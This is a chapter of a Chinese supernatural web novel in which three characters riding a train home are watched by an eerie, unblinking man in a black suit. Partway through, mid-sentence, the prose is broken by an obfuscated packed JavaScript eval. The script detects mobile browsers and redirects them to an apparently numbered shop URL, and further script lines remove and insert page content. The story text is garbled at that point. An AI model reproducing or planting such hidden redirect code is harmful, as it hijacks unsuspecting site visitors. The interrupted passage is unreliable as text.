回到来时的电车上,藤尾补问:“让老师来我家到底干什么?”
井琢狠狠靠上座椅休息:“看了就会死的影片还在你电脑里吧?”
还是在人不多不少的车厢里,藤尾把老师放到座位上扶着她:“在,电脑放家里了。”
“很好,去你家就一件事,给冈安老师看那个影片,看能,救回多少来……”
“对啊,我看完后心慌慌的,有人跟着我的感觉也是从那时候开始的。那个视频太鬼畜了,我只记得里面有穿着鲜红衣服的女人,还有数字5啥的……”
“我不听,我不要死……”
现在已经是晚上九点钟左右,一整套优质的有氧运动下来,井琢晚上犯困的时间提前了不少,有点神游天外。
“只是口述一下嘛。”
大概指明未来的走向,两人几乎无话可说了。
藤尾把老师放在右边,井琢坐在他左边。
因为冈安友莉还没醒来,所以靠着他比较保险,而左边的井琢似睡非睡,也频频朝自己点着头,眼看就要倾过来。
藤尾无所谓:“井同学,你要困了就靠着我,我没关系。”
井琢被他这句话吓起来,立刻坐直:“哦,我不用。”
乘坐交通工具时消除困意难比登天,很快,井琢又开始点头。
藤尾内心好笑,不管他了。
电车停在了新的一站,这一站上的人较多,周围的座位几乎全被坐满了。
其中走上来一位全身穿着黑色西装的男人。
他步履平缓,仪表端庄,坐到了藤尾的对面。
他没带着什么公文包,也没有着急赶回家的意思,时刻身量笔挺,不像是加班到现在的工作人员。
藤尾平常不会认真端详坐在对面的人,和对方目光相接,这样也不礼貌。
但这次,他感受到了来自对面的强烈目光。
既然对方这样打量自己,自己也可以不顾什么礼貌,回敬回去。
所以他抬头回视那人的眼睛,看对方的装束。
衣服熨烫平整,几乎没有褶皱,简直可以用半天就熨烫一次的程度来形容。
他身高出众,却毫不抢眼,,面部……是自然的,好像长得还不错吗?更没有记忆点,要不怎么看过就忘了呢。
他总是在微笑,嘴角是自然又优雅的弧度,温文尔雅,即使是目光不变地盯着自己,也能显出风度。
除非是和朋友交谈,要不在这满是他人气息的电车上,没有人会对着陌生人这样明目张胆地笑。
当视线完全离开他的面部,藤尾就立刻忘掉了关于他外在的所有信息,从头到脚复习一遍,也只记得这是一个普通的男人。
环境中各种隐藏的气场也告诉他,没必要注意这个男人。
藤尾在一种莫名的直觉驱使下,又将视线放回了他的脸上。
这次藤尾发现了,他好像没有眨眼。
是隔得太远吗?他好像也没有呼吸起伏。
人的嘴角可以保持那个角度,三分钟不变吗?
黑夜的点点灯光中,这趟列车如往常般驶过既定的轨道。
回家的人们,在外面疯玩回来的学生,栏杆上的扶手随着电车的前行摇晃,处处洋溢着岁月静好的感觉。
对面那个男人都这么奇怪了,那他一定很正常吧。
藤尾冒出这个想法时,被自己吓了一跳。
人怎么可以有这么奇怪的想法?
哎,我刚才是什么想法来着?
随着着电车的下一次停止,刹车的波动让冈安友莉醒了过来。
藤尾不再在意对方,转身询问:“老师,你感觉还好吗?”
冈安友莉直起身子,揉了揉太阳穴:“咱们……已经爬完山了吗?”
“老师还记得为什么要去爬山吗?”
“我想想……我是想去山上的神社来着,我为什么想去来着?好奇怪呀……我现在虽然没有神社的印象,但我已经我不太想去了。”她满脸茫然。
藤尾继续确认:“老师,你还怕跟着你的鬼吗?”
“那当然怕了!我看看我的手机怎么样了。”
车里人这么多,冈安友莉没有那么怕,立刻将手机开锁。
伴随着亮光,果然有虚虚的鬼影晃过手机屏幕,留下几处残影。
藤尾第一次看,也一激灵:“这鬼这么恐怖啊!”
“吓到你不好意思。”冈安友莉无助地笑,“唉,这怎么办呢……”
藤尾将刚才井琢的意思传达给她:“老师,你一起来我家吧。我有一个传说中看了就会死的影片,井同学说用里面的鬼来制你的鬼,或许还能有点用。”
“真的吗?那我试试……听起来就是很恐怖的影片呢。”冈安友莉有些害怕,也迫不及待地想把自己身旁的鬼清除。
“我也是因为里面的鬼才来找井同学的,他用你的神社鬼暂时压下了我的鬼,等等再用我的压下你的,哈哈说起来好乱啊。而且我去年选了老师的课,感觉我们好有缘分啊。”
冈安友莉感叹:“是啊,去年的班里,你真的是表现很好的学生,如果大家都像你一样,每节课都来就好了……”
两人叙着旧,藤尾关心井琢睡到什么样子了,回头一看,井琢早就醒了。
“你不多睡会?”
井琢举着自己的背包挡在面前,不露脸,闷声说话:“睡不着了。”
“这是怎么了?”
“没有,突然想要感受到孤独。”
“突然心情不好?”
“没有。”
冈安友莉听到井琢醒了,俯身看过来:“谢谢你呀井同学,虽然我不知道刚才几个小时具体发生了什么,但我能感到有你在,我才能回到这里。”
井琢抱着书包面向她:“没关系。”
“你怎么了?不要伤心呀,这几个小时,我也可以给你钱。藤尾说他要给你几倍的价钱,我也可以给双倍。”
这种东西肯定来者不拒,井琢抱着书包:“看着给就好,谢谢。”
“你到底怎么了?”藤尾还是很关心他的状态。
“你们聊就行,我再闭会眼。”
井琢把头埋的更深,另两人也不好打扰他了。
关于对面那位是什么时候坐过来的这件事,井琢一点数都没有。
刚两人说话的时候,他已经清醒,睁眼就是黑衣男对着自己笑。
他这次不狞笑,也不是毫无表情,而是大大方方摆出了类似常人的微笑。
那笑容
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352980|199634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的弧度浑然天成,看上去还不错,乍一看以为对面只是一个普通人。
看久了肯定不行。
没有呼吸起伏是正常操作。
这回,他他已经精妙地控制住了人眼的形状,但虹膜面积还是在不受控地慢慢放大,像要把对面的人淹没进去一样。
他自己注意到后,又在努力压制虹膜的变化,于是虹膜不断放大缩小,循环往复。
井琢掐紧抱在身前的书包,不由自主地看了十几秒,直到轻微地晕头转向。
……他突然意识到不妙,急忙把书包举过脸部,不再看他。
周围座位说满不满,零星空着一两个。
放着自己这边的不坐,逃开去和别人挤,别人,尤其是旁边这两位,一定会给来十足的关心。
只能等到待会换乘了。
……
没想到,换乘后黑衣男也不放过他们。
同样的顺序坐下的三人,黑衣男不知道什么时候又在那了,仍是同样对面角度的座位,同样的万年笑容,看,或监视着他们。
藤尾刚才就觉得这个男人的装束似曾相识,像是在哪些平面图上见过。
是彩色服装设计杂志吗?自己从不看这类杂志。
还是哪个衣架上的衣服?只把衣服形态显示出来,没有塑料模特人头的那种。
那个问题点马上就要在脑中图纸串联相通,可就是跨不过无形的阻碍,藤尾拍脑袋也想不出。
所以,他选择继续和老师聊天了。
井琢缩在一边,更加煎熬。
这玩意,在未来会不会变得完全像一个“人”,自己也认不出了呢?
当他融入进自己的生活,自己也无从察觉,那之后的每一天就会稀里糊涂地结束了吗?
井琢不知道,也不敢更往更完整的故事方向想,只能在书包后默默刷起手机。
手机用它2%的电量在井琢手下亮了一会,没电了。
井琢置气把手机扔到书包里,看着车厢天花板,听着旁边两人有一搭没一搭的交谈,发了一路的呆。
旁边两人也不是一直有话可聊,在车快到站时,同时看起了手机。
鬼影NPC来得及时,迅速出现,从冈安老师的手机开屏起跳,跳到了藤尾手机里,在互联网中穿来穿去,末尾留下一串劈头盖脸的彩色方块乱码,非常华丽且先进。
藤尾被这冲击的画面再次吓到,打断了井琢的发呆:“我请问啊,推荐寺庙什么时候开始?”
井琢视线不变:“我还没怎么去过附近的寺庙,得在有空的时候花一两天考察一下。”
“它就会一直在我手机里?”
“暂时的。”
藤尾想到了在学校里难免得携带手机,处事待人:“别人会看见它吗?”
“你问别人。”
“……老师你看他人就这样。”藤尾转身就和冈安老师告状。
冈安友莉笑着不说话。
车到站了。
回到市区,人量在不知道的时候逐渐变多,三人差点分散在人群中,推推拥拥下车。
井琢还没把背包背上,不知道是出于怎样的心态,抱着包开始寻找黑衣男身影。
可他已经不在人流之列,无影无踪了。